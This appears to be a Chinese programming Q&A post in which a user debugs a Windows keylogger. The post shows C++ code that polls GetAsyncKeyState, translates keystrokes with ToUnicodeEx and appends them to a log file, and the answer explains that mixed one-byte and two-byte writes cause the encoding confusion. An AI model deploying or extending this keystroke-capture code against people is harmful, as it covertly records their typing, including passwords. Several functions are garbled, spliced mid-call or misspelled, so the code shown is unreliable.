问题描述
我正在编写一个程序,以捕获用户输入的所有键并将其保存到文件中。
我真的很困惑一个问题。有时,当我打开文本文件时,它似乎全都是Unicode。
我输入了俄语字符,它们是正确的。
但是,有时文件是正常格式。
这会将密钥转换为Unicode:
void writeScannedKey(unsigned char key)
{
HWND windowHandle{ GetForegroundWindow() };
DWORD threadID{ GetwindowThreadProcessId(windowHandle,NULL) };
BYTE *keyState{ (BYTE*)malloc(256) };
GetKeyboardState(keyState);
HKL hkl{ GetKeyboardLayout(threadID) };
wchar_t uniChar[16]{ 0 };
UINT virtualKey{ (MapVirtualKeyEx(key,MAPVK_VK_TO_CHAR,hkl)) };
ToUnicodeEx(virtualKey,key,keyState,uniChar,16,hkl);
writeLog(uniChar);
free(keyState);
}
程序循环(writeScannedKey()
是上面的函数):
while (true)
{
for (key = 8; key <= 222; ++key)
{
if (GetAsyncKeyState(key) == -32767)
{
if ((key >= 39) && (key < 91))
{
writeScannedKey(key);
break;
}
if (isShitKey(key) == FALSE)
writeLog4(key);
}
}
}
我有3个不同的函数,它们彼此接受不同的数据类型(我知道,这很糟糕)。 WriteLog4
函数是一种用于将正常字符写入文件的函数,writeLog2
用于打印例如 ALT 键, RWin 键等。&writeLog
是从writeScannedKey()
函数调用的函数。
void writeLog(TCHAR *text)
{
std::wstring s{ g_name };
std::string name{ s.begin(),s.end() };
std::string fullPath{ "\\\\.\\" + g_takePath + "\\" + name };
HANDLE file{ CreateFileA(fullPath.c_str(),FILE_APPEND_DATA,FILE_SHARE_READ,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_norMAL,NULL) };
WriteFile(file,text,wcslen(text) * sizeof(wchar_t),NULL);
CloseHandle(file);
}
void writeLog2(LPCSTR text)
{
std::wstring s{ g_name };
std::string name{ s.begin(),s.end() };
std::string fullPath{ "\\\\.\\" + g_takePath + "\\" + name };
HANDLE file{ CreateFileA(fullPath.c_str(),lstrlenA(text) * sizeof(char),NULL);
CloseHandle(file);
}
void writeLog4(unsigned char text)
{
std::wstring s{ g_name };
std::string name{ s.begin(),(LPCVOID)text,sizeof(text) / sizeof(char) * sizeof(char),NULL);
CloseHandle(file);
}
解决方法
使用writeScannedKey
函数时,以下代码都将两个字节写入文件中
WriteFile(file,text,wcslen(text) * sizeof(wchar_t),NULL,NULL);
但是当您使用writeLog4
函数时,一次只能写入一个字节:
WriteFile(file,(LPCVOID)text,sizeof(text) / sizeof(char) * sizeof(char),NULL);
当您使用UTF-16编码读取文件时,两个字节将被读取为一个字符,单个字节将与随后的字节合并,然后将显示错误字符。